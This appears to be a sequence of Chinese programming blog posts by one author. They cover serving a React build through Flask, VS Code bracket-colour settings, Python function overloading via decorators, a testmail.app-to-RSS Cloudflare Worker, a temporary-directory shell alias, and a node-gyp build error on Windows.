graph LRA(Browser) -->|GET /index.html| app(Flask app)A(Browser) -->|GET /static/css/style.css| app(Flask app)app --> C{endpoints}C -->|/index.html| view[Handled by `View` Function]C -->|/static/\*| static[Load files from `static_folder`]

index.html 中请求的资源都会从 static_folder 中拉取，那你说把打包后的文件直接放在 static_folder 不就好了？

因为本身 static_folder 中就有一些后台页面需要的静态资源，也是按类型建立了文件夹：css / js 等，如果直接把 React 打包后的资源直接复制到 static_folder 中，那么不同的 js 文件都混杂在一起了。React 每次重新打包生成的 js 文件都不一样的话，每次更新起来还要把原来的删除再复制过去。

解决方案

搜了一下解决方案，发现了 Stackoverflow 的 讨论，顺利应用，记录一下过程。

顺便一提，一般前后端分离的部署是使用 Nginx 等 Server 来返回静态资源，也方便做缓存之类的。

高票答案的解法是捕获所有路由，根据请求的路径来返回对应的文件。

他（以及群策众力）的栗子：

1
2
3
4
5
6
7
8
9
10
11
12
13

import os
from flask import Flask, send_from_directory

app = Flask(__name__, static_folder='react_app/build')

# Serve React App
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def serve(path):
    if path != "" and os.path.exists(app.static_folder + '/' + path):
        return send_from_directory(app.static_folder, path)
    else:
        return send_from_directory(app.static_folder, 'index.html')

就是根据请求的 path 来从不同的文件夹返回内容。测试路径是否要请求一个文件 => 发送相应的文件 => 否则发送 index.html。

实战

根据思路，我们也要捕获所有的路径:

业务的关系，我这里使用一个 front 蓝图来 serve 静态网站，路径在 app/front_api/__init__.py。

把静态资源放在 app/react_app 下：

然后设置 react_folder 这个变量为静态资源的路径就好。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

from pathlib import Path
from flask import Blueprint, send_from_directory

front = Blueprint("front", __name__, url_prefix="/front")

react_folder = (
    Path(__file__).parent.parent / "react_app"
).absolute()

# Serve React App
@front.route("/", defaults={"path": ""})
@front.route("/<path:path>")
def serve(path):
    if path != "" and (react_folder / path).exists():
        return send_from_directory(str(react_folder), path)
    else:
        return send_from_directory(str(react_folder), "index.html")

设置前端 homepage

由于使用了蓝图的前缀功能，所以我们前端拉取静态资源的时候也得有个前缀才能访问到具体文件。

举个例子，当你访问 http://localhost:5000/front 的时候是获取到 index.html，然后 index.html 里面的资源地址还是 /static/xxxx，我们得让浏览器往 /front/static/xxxx 访问才能被我们的视图函数捕捉到。

我们可以在 package.json 中设置 homepage 参数来指定基本路径。在 package.json 中设置即可：

1

"homepage": "."

这样 index.html 里面的资源地址就会被设置为 ./static/xxxx，浏览器访问时也就会访问 /front + ./static/xxx 了。

这样就会被我们的视图函数捕捉到，然后从设置的文件夹中拉取文件了。

设置后端 API 地址

还有一个小点要注意。前端进行开发测试的时候也要请求后端，所以发请求的时候要注意根据不同开发环境来设置不同的 BASE_URL：

1
2
3
4
5
6
7

let BASE_URL;
if (!process.env.NODE_ENV || process.env.NODE_ENV === 'development') {
  BASE_URL = 'http://127.0.0.1:5000';
} else {
  BASE_URL = '';
}
// 发请求时拼接链接： BASE_URL + "/front/alarm"

这样整个功能就实现好了。

优化

参考自：链接：https://www.jianshu.com/p/b348926fa628作者：AricWu来源：简书

我们打包后的文件需要手动移动到后端的相应文件夹里。手动移动比较麻烦的话，可以写 npm scripts 的钩子 来自动化这件事情。

npm 脚本有 pre 和 post 两个钩子，可以在这两个钩子完成一些准备工作和清理工作。

我们为 build 加入 prebuild 和 postbuild 两个钩子。

1
2
3

"prebuild": "rimraf ../backend/app/react_app/*",
"build": "cross-env GENERATE_SOURCEMAP=false craco build",
"postbuild": "cpx -C build/** ../backend/app/react_app/",

打包前删除后端已有的文件，打包后把新文件复制过去。

使用了 rimraf 和 cpx 两个跨平台的 cli 工具包。

这里还有一些其他的跨平台的 cli 工具包：awesome-nodejs-cross-platform-cli

参考链接

• React 创建项目并打包到 Flask 后端
• Serving a front end created with create-react-app with Flask
• How To Create a React + Flask Project

Bracket-Pair-Colorizer-2 插件支持自己配置颜色，默认的颜色为：

1
2
3
4
5
6

// Scope colors
"bracket-pair-colorizer-2.colors": [
  "Gold", // #ffd700 金色
  "Orchid", // #da70d6 粉色
  "LightSkyBlue" // #87cefa 天蓝色
],

我们可以自己更改这个列表，比如直接改成 更鲜艳的颜色：

作者在这个网站上 hexcolortool.com 调了 20 分钟的色，最后终于找到了一个在白色背景下表现接近原版配色的颜色。

1
2
3
4
5

"bracket-pair-colorizer-2.colors": [
  "#ff9900", // Orange-Brown
  "#f500f5", // Medium-Pink
  "#54b9f8" // Medium-Blue
],

但这么做有一个坏处，我们切换会暗色主题的时候，又得改一遍这个值。

我们可以通过修改 VSCode 的不同主题的配色值来达成这个目标。

比如我们就可以使用已有的配色值的字段：

1
2
3
4
5

"bracket-pair-colorizer-2.colors": [
  "terminal.ansiBrightMagenta",
  "terminal.ansiYellow",
  "terminal.ansiBrightCyan"
]

了解了原理之后，按照 issue 里给出的 解决方案：

我们可以使用 workbench.colorCustomizations 来自定义覆盖当前使用主题配色的颜色。

1
2
3
4
5
6
7
8
9
10
11
12

"workbench.colorCustomizations": {
  "[Github Light Theme - Gray]": {
    // 针对相应主题配置不同的颜色
    "colorizer.color-1": "#ff9900", // Orange-Brown...
    "colorizer.color-2": "#f500f5", // Medium-Pink...
    "colorizer.color-3": "#54b9f8" // Medium-Blue...
  },
  // 默认配色
  "colorizer.color-1": "#ffd700", // "Gold". (Yellow with slight Orange)
  "colorizer.color-2": "#da70d6", // "Orchid". (Pink)
  "colorizer.color-3": "#87cefa" // "LightSkyBlue". (Light Blue)
},

然后给 Bracket-Pair-Colorizer-2 把颜色设置上：

1
2
3
4
5

"bracket-pair-colorizer-2.colors": [
  "colorizer.color-1",
  "colorizer.color-2",
  "colorizer.color-3"
],

最后就是总结以及我的 Bracket-Pair-Colorizer-2 其他配置：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

"workbench.colorCustomizations": {
  "[Github Light Theme - Gray]": {
    "colorizer.color-1": "#ff9900", // Orange-Brown...
    "colorizer.color-2": "#f500f5", // Medium-Pink...
    "colorizer.color-3": "#54b9f8" // Medium-Blue...
  },
  "colorizer.color-1": "#ffd700", // "Gold". (Yellow with slight Orange)
  "colorizer.color-2": "#da70d6", // "Orchid". (Pink)
  "colorizer.color-3": "#87cefa" // "LightSkyBlue". (Light Blue)
},
"bracket-pair-colorizer-2.colors": [
  "colorizer.color-1",
  "colorizer.color-2",
  "colorizer.color-3"
],
"bracket-pair-colorizer-2.forceUniqueOpeningColor": true,
"bracket-pair-colorizer-2.highlightActiveScope": true

使用 Hexo 已经四年已久，四年以来对博客做了很多的优化，也积累了很多经验，现在想写一写都做了什么。

可能也许大概会有这么多东西：

1. 利用 GitHub Actions 自动部署博客
2. 编写 scripts 在 hexo 各阶段生成内容
3. 使用 VS Code 写博客
   1. 使用插件
   2. 使用 code snippets
4. 在 _config.yml 中使用危险 token
5. 你不曾注意过的 _config.yml
6. 在 next-theme 主题中添加自定义内容
7. 利用好 package.json 文件中的 scripts 字段
8. 利用好 Node.js 脚本

想了想，也许写下去之后就是个 hexo 高级教程？

可能还有一些其他的东西会提到，比如我的图床实现之类的，敬请期待~

函数重载是指可以创建多个同名函数，但是每个函数的形参以及实现可以不一样。当一个重载函数 fn 被调用时，运行时会根据传入的参数 / 对象，来判断并调用相应的实现函数。

1
2
3
4
5
6
7

int area(int length, int breadth) {
  return length * breadth;
}

float area(int radius) {
  return 3.14 * radius * radius;
}

上面这个例子中 (C++ 实现)，函数 area 被两个实现重载，第一个函数允许传入两个参数 (且都是整数型)，根据传入的长方形的宽高，返回长方形的面积；第二个函数需要传入一个整形参数：圆的半径。当我们调用函数 area 时，如调用 area(7) 时会使用第二个函数，而调用 area(3, 4) 时则会使用第一个。

为什么 Python 中没有函数重载？

Python 默认不支持函数重载。当我们定义多个同名函数时，后一个总会覆盖掉前一个函数，因此在同一个命名空间内，每个函数名总是只有一个函数执行入口。我们可以调用函数 locals() 和 globals() 来查看命名空间中有什么， 这两个函数分别返回本地命名空间和全局命名空间。

1
2
3
4
5
6
7
8
9

def area(radius):
    return 3.14 * radius ** 2

>>> locals()
{
  ...
  'area': <function __main__.area(radius)>,
  ...
}

定义好函数之后，执行 locals() 函数，这个函数会返回一个包含当前命名空间中定义的所有变量的字典。该字典的键是变量名称，字典的值是变量的引用或值。当运行时遇到另一个同名函数时，它会更新本地命名空间中的函数入口，从而消除两个函数共存的可能性。因此 Python 不支持函数重载。这是在创建语言时做出的设计决策，但这并不妨碍我们实现它。来，让我们重载一些函数。

在 Python 中实现函数重载

我们已经知道了 Python 怎样管理命名空间，如果我们想实现函数重载，我们需要：

• 维护一个虚拟命名空间，在其中管理函数定义
• 根据传入的参数找到调用相应函数的方法

简单起见，我们实现的函数重载将由函数接受的参数数量来区分。

包装函数

我们创建一个名为 Function 的类，这个类可以传入任意的函数，通过重写类的 __call__ 方法使得该类可被调用，最后，我们实现一个 key 方法，该方法返回一个元组，可以在全局中唯一标识传入的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

from inspect import getfullargspec


class Function(object):
    """包装标准的 Python 函数.
    """

    def __init__(self, fn):
        self.fn = fn

    def __call__(self, *args, **kwargs):
        """该方法使得整个类能像函数一样被调用，然后返回传入函数的
        调用结果。
        """
        return self.fn(*args, **kwargs)

    def key(self, args=None):
        """返回唯一标识函数的 key
        """
        # 如果没有手动传入参数，从函数定义中获取参数
        if args is None:
            args = getfullargspec(self.fn).args

        return tuple(
            [self.fn.__module__, self.fn.__class__, self.fn.__name__, len(args or [])]
        )

在上面的这个代码片段中，Function 类的 key 方法返回一个元组，该元组可以在整个代码库中唯一的标识被包装的函数，元组中还保存了以下内容：

• 函数所属的模块
• 函数所属的类
• 函数名称
• 函数接受的参数个数

覆盖的 __call__ 方法调用被包装的函数并返回计算出的值（目前这里还只是常规操作，值原样返回）。这使得这个类的实例可以像函数一样被调用，并且其行为与被包装的函数完全一样。

1
2
3
4
5
6
7
8

def area(l, b):
  return l * b

>>> func = Function(area)
>>> func.key()
('__main__', <class 'function'>, 'area', 2)
>>> func(3, 4)
12

在上面的这个例子里，我们把 area 函数 传入 Function 类，并把实例赋给 func，调用 func.key() 返回了一个元组，该元组的第一个元素就是当前模块名 __main__，第二个元素是类型 <class 'function'>，第三个是函数的名字 area，第四个是函数 area 能接受的参数个数：2。

这个例子同时也说明了如何调用 func 实例，就像我们平常调用 area 函数那样调用就可以，传入两个参数：3 和 4，然后得到结果 12。这和我们调用 area(3, 4) 的表现是一模一样的。

当我们在后面的阶段使用装饰器时，这种表现能派上大用场。

创建虚拟命名空间

在这一步，我们会构建一个虚拟命名空间（函数注册表），这个函数注册表会存储所有在函数定义阶段要重载的函数。

由于全局只需要一个命名空间（把所有的要重载的函数保存到一起），我们创建了一个单例类，内部使用字典来保存不同的函数，字典的键就是我们从 key 方法获得的元组，该元组可以唯一标识整个代码中的函数。这样一来，即使传入的函数名称相同（但参数不同），我们也可以把它们保存在字典中，从而实现函数重载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

class Namespace(object):
  """Namespace 这个单例类保存了所有要重载的的函数
  """
  __instance = None

  def __init__(self):
    if self.__instance is None:
      self.function_map = dict()
      Namespace.__instance = self
    else:
      raise Exception("已存在实例，无法再进行实例化")

  @staticmethod
  def get_instance():
    if Namespace.__instance is None:
      Namespace()
    return Namespace.__instance

  def register(self, fn):
    """在虚拟命名空间中注册函数，并且返回一个包装好
    的 `Function` 实例。
    """
    func = Function(fn)
    self.function_map[func.key()] = fn
    return func

Namespace 有一个 register 方法，该方法接收一个 fn 参数，根据 fn 创建一个唯一的键值然后保存到字典中，最后返回一个包装好的 Function 实例。

这意味着 register 方法的返回值也是可调用的，并且（到目前为止）其行为与要包装的函数 fn 完全相同。

1
2
3
4
5
6
7

def area(l, b):
  return l * b

>>> namespace = Namespace.get_instance()
>>> func = namespace.register(area)
>>> func(3, 4)
12

使用装饰器

现在我们已经定义了一个能够注册函数的虚拟命名空间，我们需要一个在函数定义期间被调用的钩子（注：原文为 hook），这里使用装饰器来实现。

在 Python 中，我们可以用装饰器包装函数，这样我们就能在不修改函数原结构的情况下向函数添加新功能。装饰器接受要被包装的函数 fn 作为参数，并返回一个可调用的新函数。新函数也可以接受你在函数调用时传递的 args和 kwargs 并返回值。

下面展示了一个装饰器示例，它可以计算函数的执行时间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

import time


def my_decorator(fn):
  """my_decorator 是我们自定义的一个装饰器
  它能包装传入的函数并且输出该函数的执行时间。
  """
  def wrapper_function(*args, **kwargs):
    start_time = time.time()

    # 调用原函数获得原函数的返回值
    value = fn(*args, **kwargs)
    print("函数执行花费了:", time.time() - start_time, "秒")

    # 返回原函数的调用值
    return value

  return wrapper_function


@my_decorator
def area(l, b):
  return l * b


>>> area(3, 4)
函数执行花费了: 9.5367431640625e-07 秒
12

上面这个例子里我们定义了一个名为 my_decorator 的装饰器，我们使用这个装饰器包装了定义的 area 函数，包装后的函数在执行后可以打印执行花费的时间。

当 Python 解释器遇到被装饰的函数定义的时候，都会执行一遍装饰器函数 my_decorator（这样它就完成了对被装饰函数的包装，并将装饰器返回的函数存储在 Python 的本地或全局命名空间中）。对我们来说，这就是一个能在虚拟命名空间中注册函数的理想的钩子。因此，我们创建一个名为 overload 的装饰器，这个装饰器会在虚拟命名空间中注册被装饰的函数，并返回一个能被调用的 Function 实例。

1
2
3
4
5

def overload(fn):
  """overload 是我们用来包装函数的装饰器，会返回一个
  能被调用的 `Function` 实例。
  """
  return Namespace.get_instance().register(fn)

overload 装饰器返回了一个 Function 的实例，该实例是通过调用 Namespace 单例类中的 .register() 方法得到的。现在只要函数（被 overload 装饰过的）被调用，实际上是这个 Function 的实例的 __call__ 方法被调用，该方法也会接收函数传入相应的参数。

现在我们还需要做的就是完善 Function 这个类的 __call__ 方法，让 __call__ 方法被调用的时候根据传入的参数找到正确的函数定义。

从命名空间中找到正确的函数

函数歧义消除的条件除了判断模块的类和名称之外，还需要判断函数接收的参数数量，因此我们在虚拟命名空间中定义了一个方法 get， 这个方法接收一个 Python 命名空间中（区别于我们创建的虚拟命名空间，我们并没有改变 Python 命名空间的默认行为）的函数，我们根据函数的参数数量（我们设置的消歧因子）返回一个可以被调用的消歧后的函数。

这个 get 方法的作用就是决定函数的哪个实现（如果被重载过）会被调用。找到正确函数的过程其实很简单，根据传入的函数和函数参数创建一个全局唯一键然后查找这个键是否在命名空间中注册过；如果是，则读取与键对应的实现。

1
2
3
4
5
6
7

def get(self, fn, *args):
  """get 返回在命名空间中匹配到的函数

  如果未匹配到任何函数则返回 None
  """
  func = Function(fn)
  return self.function_map.get(func.key(args=args))

get 方法在内部创建了一个 Function 的实例，然后通过该实例的 key 方法获取函数的唯一键。然后使用该键从函数注册表中获取相应的函数。

函数调用

如上所述，每次调用被 overload 装饰过的函数时，都会调用 Function 类中的 __call__ 方法。我们要在这个方法里通过虚拟命名空间的 get 方法找到并调用正确的重载函数实现。__call__ 方法的实现如下：

1
2
3
4
5
6
7
8
9
10

def __call__(self, *args, **kwargs):
  """覆盖类的 `__call__` 方法可以让一个实例可被调用
  """
  # 从虚拟命名空间中获取真正的要被调用的函数
  fn = Namespace.get_instance().get(self.fn, *args)
  if not fn:
    raise Exception("no matching function found.")

  # 返回函数调用值
  return fn(*args, **kwargs)

该方法从虚拟命名空间中找到正确的函数，如果没找到任何函数，则抛出 Exception 异常，如果函数存在，则调用该函数并返回值。

实战

将所有的代码整理好，我们定义两个名为 area 的函数：一个函数计算矩形的面积，另一个函数计算圆形的面积。

我们将两个函数都使用 overload 装饰器进行装饰。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

@overload
def area(l, b):
  return l * b

@overload
def area(r):
  import math
  return math.pi * r ** 2


>>> area(3, 4)
12
>>> area(7)
153.93804002589985

当我们调用 area 只传一个参数时，可以看到它返回了圆的面积；当我们传入两个参数时，可以发现返回了矩形的面积。

完整代码见：https://repl.it/@arpitbbhayani/Python-Function-Overloading

结论

Python 默认不支持函数重载，但通过简单的语言结构我们整出了一个解决方法。我们使用装饰器和用户维护的虚拟命名空间，将函数参数数量作为消歧因子来重载函数。我们也可以使用函数参数的数据类型来做消歧，这样就能实现参数个数相同但参数类型不同的函数重载。重载的粒度仅受 getfullargspec 函数和我们的想象力限制。

你也可以通过上述内容自己整一个更整洁、更干净、更高效的实现，所以请随意实现一个，并发推给我 @arpit_bhayani，我会很高兴学习你的实现。

从 Python 3.4 开始，可以使用 functools.singledispatch 实现函数的重载。
从 Python 3.8 开始，可以使用 functools.singledispatchmethod 实现实例方法的重载。

感谢 Harry Percival 的更正

也尝试过好几个订阅 newsletter 的应用，也了解了 mail2rss 这方面的网站和开源项目，一直没有啥好的解决方案。

有一天偶然看到 testmail.app 这个可以让开发者测试邮件服务的网站，每个用户可以有一个 namespace，然后可以构造出无限个邮件地址，也有相应的 API 用来过滤邮件等等。

testmail 免费版每个月可以接收 100 封邮件，邮件能保存一天。但是只需要设置 RSS 阅读器请求频率低于一天，肯定就能接收到所有邮件了。

那么项目思路就有了，使用 serverless 实现一个函数，这个函数每次接受 RSS 阅读器请求时都去抓取最新的邮件列表，然后响应一个 RSS 格式的 XML 文档即可。

sequenceDiagramloop 每十分钟RSS 阅读器->>Serverless 函数: a.获取 tag 的最新 RSS 内容activate Serverless 函数Serverless 函数->>testmail.app: b.请求 tag 对应的邮件列表testmail.app-->>Serverless 函数: c.返回邮件列表Note right of Serverless 函数: 1.处理邮件列表、内容等Serverless 函数-->>RSS 阅读器: d.根据邮件列表生成 RSS 并返回deactivate Serverless 函数end

有了整个项目的思路之后，现在就开始根据 testmail.app 的 API 来写功能就行了，Serverless 选择使用 Cloudflare workers，每天十万次请求数，I / O 时间不限。

• testmail.app：https://testmail.app/
• Cloudflare Workers：https://workers.cloudflare.com/

开始使用 testmail.app

名词解释

注册登录后就能看到一个你自己的 namespace。

testmail.app 里对 namespace 是这么描述的：
testmail.app 会接收发送到 {namespace}.{tag}@inbox.testmail.app 的邮件，{namespace} 是分配给每个人的独自的一个 id，{tag} 是你自己随便输入的，之后我们可以通过 API 来过滤 tag 从而获取我们需要的邮件。

namespace

每个 namespace 都支持无限数量的电子邮件地址。

举个例子：假设你的 namespace 是 acmeinc；然后你发一封邮件到 acmeinc.hello@inbox.testmail.app，再发另一封邮件到 acmeinc.hey@inbox.testmail.app，然后你都能在 acmeinc 这个 namespace 下查到这两封邮件，只是两封邮件带的 tag 不同。

tag

tag 可以是任意内容。

举个例子：假设你要测试一下新用户注册的功能，你就可以使用 acmeinc.john@inbox.testmail.app 这个邮箱创建用户名为 John 的新用户，通过 acmeinc.albert@inbox.testmail.app 这个邮箱创建用户名为 Albert 的新用户。

之后查询 API 的时候，可以过滤指定标签来查看发给每个用户的邮件。

使用 API

文档地址：https://testmail.app/docs/

testmail.app 支持直接参数查询和 graphql 两种查询方式。两种方式都是直接获取一个 json 格式的响应，里面有邮件列表，每个邮件的内容，附件，元信息等等。

进行查询之前要获取一个 API Key，也是登录之后在网页上就能看到了，把 API Key 填到 headers 的 Authorization 即可。

这里就不详细说了，就是查 API 获取想要的邮件的内容，比如我们使用 quartz 这个 tag 订阅 QuartZ，那我们就只查这个 tag 的邮件即可。

js 实现的请求邮件：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

const testmailNamespace = 'xxxxx';
const testmailToken = 'xxxxxxxxxxxxxxx';

class TestMail {
  static testmailApi = 'https://api.testmail.app/api/graphql';

  static async getMails(tag) {
    const query = `{
      inbox (
        namespace: "${testmailNamespace}"
        tag: "${tag}"
        limit: 99
      ) {
        emails {
          id
          subject
          html
          from
          timestamp
          downloadUrl
          attachments {
            cid
            downloadUrl
          }
        }
      }
    }`;

    const init = {
      method: 'POST',
      headers: {
        'content-type': 'application/json;charset=UTF-8',
        Authorization: `Bearer ${testmailToken}`,
        Accept: 'application/json',
      },

      body: JSON.stringify({
        operationName: null,
        query,
        variables: {},
      }),
    };
    return fetch(this.testmailApi, init);
  }
}

注意一下这里用的是 GraphQL 的请求方式即可。之后只需要调用 await TestMail.getMails(tag) 即可获取相应 tag 的邮件。

开始使用 Cloudflare Workers

按照我们的想法，我们需要 Serverless 函数帮我们做一个中间层，根据 RSS 阅读器的请求生成 RSS 内容。

所以我们就需要：

1. 获取用户请求的 tag
2. 请求 tag 对应的邮件列表
3. 返回一个 XML 格式的网页。

第一步就是解析用户请求的地址，然后获取出 tag 就行。比如用户请求的 mail2rss.test.workers.dev/tenjs，我们就要把 tenjs 提取出来即可。

Cloudflare Workers 中可以通过 event.request.url 拿到用户请求的完整 URL，如果你使用的是其他的 Serverless 服务，如果是 koa-like 的话，一般都是也是通过 Request 拿到 url。

1
2
3
4

const {request} = event;
let url = new URL(request.url);
// parse tag
const requestTag = url.pathname.substring(1);

第二步请求邮件列表我们已经写好了。

第三步就是生成一个 XML 格式的响应，再返回即可。

实现生成 XML

这里我们没有使用模板引擎，直接拼接字符串就行了。

首先我们得知道 RSS 的文件格式，这里参考了 RSSHub 的文件内容。然后写一个 makeRss 函数，拼接生成字符串就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

async function makeRss(emails, tag) {
  let items = emails.map((value) => {
    if (value.attachments.length > 0) {
      for (let i of value.attachments) {
        // update the image link
        value.html = value.html.replace(`cid:${i.cid}`, i.downloadUrl);
      }
    }
    return `<item>
    <title><![CDATA[${value.subject}]]></title>
    <description><![CDATA[${value.html}]]></description>
    <pubDate>${new Date(value.timestamp).toGMTString()}</pubDate>
    <guid isPermaLink="false">${value.id}</guid>
    <link>${value.downloadUrl}</link>
    <author><![CDATA[${value.from}]]></author>
</item>`;
  });

  return `<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
    <channel>
        <title><![CDATA[${tag}邮件订阅]]></title>
        <link>${deployUrl + tag}</link>
        <atom:link href="${
          deployUrl + tag
        }" rel="self" type="application/rss+xml" />
        <description><![CDATA[${tag}邮件订阅]]></description>
        <generator>mail2rss</generator>
        <webMaster>lengthmin@gmail.com (Artin)</webMaster>
        <language>zh-cn</language>
        <lastBuildDate>${new Date().toGMTString()}</lastBuildDate>
        <ttl>300</ttl>
        ${items.join('\n')}
    </channel>
</rss>`;
}

然后返回响应：

1
2
3
4
5
6
7
8
9

let responseXML = await makeRss(data.data.inbox.emails, requestTag);
let response = new Response(responseXML, {
  status: 200,
  headers: {
    'content-type': 'application/xml; charset=utf-8',
  },
});
response.headers.append('Cache-Control', 'max-age=600');
return response;

总结

其实思路也很简单，代码也很简单。

完整代码见：https://github.com/bytemain/mail2rss

参考链接

1. DIYgod/RSSHubhttps://github.com/DIYgod/RSSHub
2. testmail.apphttps://testmail.app/
3. testmail.app Documentationhttps://testmail.app/docs/
4. Cloudflare Workershttps://workers.cloudflare.com/

自己也用了蛮久了，真的十分好用，有很多场景都需要用到：

想写一个验证想法的小 case，或者验证一下某个函数的用处，或者 clone 一下某个仓库查看一下相关内容。直接 cdtmp 打开一个临时文件夹，在里面直接做你想做的事情，而且完全不需要担心这些文件后续的清理问题，Windows 来说使用清理软件清理垃圾时一般都会删除临时文件，Linux 下也有相应的清除 tmp 目录的逻辑和方法。

简单介绍一下这个命令，给出 zsh 中的实现以及一个 Windows 下 PowerShell 里的同样功能的函数。

命令的作用就是：在系统的临时目录创建一个文件夹然后跳转过去。

zsh

sorrycc 提到的 cdtmp：

cdtmp，进入到一个随机创建的临时目录，简单好用，http://frantic.im/cdtmp

原文 中给出了 zsh 中的实现的链接。

把下面这行代码添加到你的 .zshrc 文件即可：

1

alias cdtmp='cd `mktemp -d /tmp/artin-XXXXXX`'

这条命令会在系统临时目录下创建一个名为 artin-XXXXXX 的文件夹，然后跳转过去。

PowerShell

我使用的是 PowerShell Core 7，如果你无法使用的话可以自己改改。

在 PowerShell 中单靠 Set-Alias 就没法实现这样的效果了（或者实现比较复杂），但可以写成一个函数，也非常简单，可以直接在 PowerShell 中执行。

不过 PowerShell 只有 New-TemporaryFile 这个方法，不能直接一个命令创建文件夹。

所以我们要使用常规一点的方法来实现，也就是拼接要创建的 temp 文件夹名，然后跳转过去。

1
2
3
4
5
6

function cdtmp {
    $parent = [System.IO.Path]::GetTempPath()
    $name = 'artin-' + $([System.IO.Path]::GetRandomFileName()).Split(".")[0]
    New-Item -ItemType Directory -Path (Join-Path $parent $name)
    cd (Join-Path $parent $name)
}

直接把这段代码放入 $PROFILE 文件中就好了。

参考链接

• cdtmp
• sorrycc 介绍 cdtmp
• sorrycc 早报 @ 2017.10
• stackoverflow 上关于 PowerShell 创建临时文件夹的答案
• PowerShell New-TemporaryFile 命令详解

查了一下，发现有人已经基于 NodeRT 做了 electron-windows-notifications，可以在 electron 展示原生的通知框。NodeRT 能让我们在 Node.js 中使用 Windows Runtime API。

然后兴高采烈的执行 yarn add electron-windows-notifications, 结果报错了：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

[4/4] Building fresh packages...
[1/5] ⠈ @nodert-win10-au/windows.applicationmodel
[2/5] ⠁ @nodert-win10-au/windows.data.xml.dom
[3/5] ⠁ @nodert-win10-au/windows.foundation
[4/5] ⠁ @nodert-win10-au/windows.ui.notifications
error SECRETPATH\node_modules\@nodert-win10-au\windows.foundation: Command failed.
Exit code: 1
Command: node-gyp rebuild
Arguments:
Directory: SECRETPATH\node_modules\@nodert-win10-au\windows.foundation
Output:
...
[SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\build\binding.vcxproj]
  _nodert_generated.cpp
  NodeRtUtils.cpp
  OpaqueWrapper.cpp
  CollectionsConverterUtils.cpp
SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\nodertutils.cpp : fatal error C1107: 未能找到程序集“Windows.winmd”: 请使用 /AI 或通过设置 LIBPATH 环境变量指定程序集搜索路径 [SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\build\binding.vcxproj]
SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\_nodert_generated.cpp : fatal error C1107: 未能找到程序集“Windows.winmd”: 请使用 /AI 或通过设置 LIBPATH 环境变量指定程序集搜索路径 [SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\build\binding.vcxproj]
  win_delay_load_hook.cc
NPMPATH\node_modules\node-gyp\src\win_delay_load_hook.cc : fatal error C1107: 未能找到程序集“Windows.winmd”: 请使用 /AI 或通过设置 LIBPATH 环境变量指定程序集搜索路径 [SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\build\binding.vcxproj]
SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\opaquewrapper.cpp : fatal error C1107: 未能找到程序集“Windows.winmd”: 请使用 /AI 或通过设置 LIBPATH 环境变量指定程序集搜索路径 [SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\build\binding.vcxproj]
SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\collectionsconverterutils.cpp : fatal error C1107: 未能找到程序集“Windows.winmd”: 请使用 /AI 或通过设置 LIBPATH 环境变量指定程序集搜索路径 [SECRETPATH\node_modules\@nodert-win10-au\windows.foundation\build\binding.vcxproj]
gyp ERR! build error

啊，这熟悉的 msvc 工具链报错。错误原因是 fatal error C1107: 未能找到程序集 “Windows.winmd”，提示说可以用 LIBPATH 设置这个文件的位置。使用 listary 查了一下本机的 Windows.winmd 的 位置，然后就开始了第一次的错误尝试，设置了 LIBPATH，依然报错。

想想以前使用 VS 的时候，需要在项目中配置一下引用的库的位置才能正确编译，所以这很有可能还是找不到库的位置所以报的错。中间的摸索过程就不写了，直接写怎么解决。

配置 node-gyp

因为之前装 node-sass 的时候接触过 node-gyp，所以现在第一件事就是要确保 node-gyp 能使用。

查看 node-gyp 的仓库 README，发现有教程： Installation On Windows

强烈建议去看原教程后再看本教程。
强烈建议去看原教程后再看本教程。
强烈建议去看原教程后再看本教程。

首先需要安装 Python，如果你本地没有，最简单的方法就是从微软商店直接安装，直接打开 Microsoft Store，搜索安装即可。
Python Microsoft Store package

node-gyp 支持以下这几个 Python 版本：v2.7, v3.5, v3.6, v3.7, v3.8。

方案 1（个人不推荐，可能会出现自己不可控制的局面）

使用 windows-build-tools 来自动配置 MsBuild 和 Python 环境。

打开一个有管理员权限的 CMD 或者 PowerShell 终端，执行：npm install --global --production windows-build-tools，等待完成即可。

方案 2

手动安装:

1. 安装 Visual C++ Build 环境: Visual Studio Build Tools (安装组件时勾选 “Visual C++ build tools”) 或者 Visual Studio 2017 Community (安装组件时勾选 “Desktop development with C++”)
2. 打开 cmd, 执行：npm config set msvs_version 2017

如果你的程序还需要运行在其他的处理器平台上，记得安装组件的时候也要勾上对应的。比如 ARM64 平台的，要选择：“Visual C++ compilers and libraries for ARM64” 和 “Visual C++ ATL for ARM64” 两个组件。

如何确定自己的 node-gyp 环境安装好了呢？以下包随便安装一个就行了，安装成功则说明 node-gyp 环境已经好了：

• bson
• bufferutil
• kerberos
• node-sass
• sqlite3
• phantomjs

解决找不到 Windows.winmd 文件

其实这个问题就是代码的问题，根据这个 issue 中的描述，当前版本的 NodeRT 只会去扫描 C:\Program Files (x86)\Windows Kits\10\UnionMetadata 路径下的 .winmd 文件，硬编码了依赖库目录（不过也说得通）。

